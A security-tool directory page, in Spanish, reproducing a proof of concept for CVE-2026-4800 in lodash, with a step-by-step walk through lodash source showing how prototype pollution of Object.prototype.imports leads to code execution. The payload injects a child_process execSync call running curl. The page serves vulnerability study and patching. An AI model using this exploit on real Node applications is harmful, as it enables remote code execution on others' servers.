Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-4800-POC — Prueba de concepto que demuestra la ejecución remota de código en la plantilla de lodash mediante contaminación de prototipos, con un análisis detallado del flujo del ataque y la técnica de explotación. | Kitploit
Herramientas/GitHubGitHub/threalwinky/cve-2026-4800-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebDesarrollo de Payloads
GitHubthrealwinky/cve-2026-4800-poc

CVE-2026-4800-POC

Prueba de concepto que demuestra la ejecución remota de código en la plantilla de lodash mediante contaminación de prototipos, con un análisis detallado del flujo del ataque y la técnica de explotación.

Ver Repositorio
2hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-4800-POC

Aviso de Seguridad

https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc

POC

root@kitploit:~
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});

alt text

Flujo

  • Usar una vulnerabilidad previa de contaminación de prototipos para contaminar Object.prototype.imports con una propiedad controlada por el atacante

  • A continuación, llama a _.template('', {}) con un valor de opciones de objeto plano normal

  • Dentro de _.template(), lodash copia options con assignInWith({}, options, settings, ...) en lodash.js:14877

  • root@kitploit:~
    function template(string, options, guard) {
          // Based on John Resig's `tmpl` implementation
          // (http://ejohn.org/blog/javascript-micro-templating/)
          // and Laura Doktorova's doT.js (https://github.com/olado/doT).
          var settings = lodash.templateSettings;
    
          if (guard && isIterateeCall(string, options, guard)) {
            options = undefined;
          }
          string = toString(string);
          options = assignInWith({}, options, settings, customDefaultsAssignIn);
    
    
    ...
    
    • assignInWith usa keysIn(source) en lodash.js:12778
    root@kitploit:~
        var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
          copyObject(source, keysIn(source), object, customizer);
        });
    
    
    • keysIn() incluye propiedades enumerables heredadas en lodash.js:13440
    root@kitploit:~
        function keysIn(object) {
          return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
        }
    
    
    • Debido a que el objeto de opciones es un {} normal, hereda la propiedad imports contaminada de Object.prototype, y lodash copia ese valor heredado en options.imports local

    • Lodash luego construye imports con assignInWith({}, options.imports, settings.imports, ...) en lodash.js:14889, extrae importsKeys en lodash.js:14889, y los pasa a Function(importsKeys, ...) en lodash.js:14957

    root@kitploit:~
    ...
    
          // Cleanup code by stripping empty strings.
          source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
            .replace(reEmptyStringMiddle, '$1')
            .replace(reEmptyStringTrailing, '$1;');
    
          // Frame code as the function body.
          source = 'function(' + (variable || 'obj') + ') {\n' +
            (variable
              ? ''
              : 'obj || (obj = {});\n'
            ) +
            "var __t, __p = ''" +
            (isEscaping
               ? ', __e = _.escape'
               : ''
            ) +
            (isEvaluating
              ? ', __j = Array.prototype.join;\n' +
                "function print() { __p += __j.call(arguments, '') }\n"
              : ';\n'
            ) +
            source +
            'return __p\n}';
    
          var result = attempt(function() {
            return Function(importsKeys, sourceURL + 'return ' + source)
              .apply(undefined, importsValues);
          });
    
    ...
    
    • Mi clave contaminada se trata como un parámetro formal con una expresión predeterminada:

      root@kitploit:~
      x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
      
    Descargar herramienta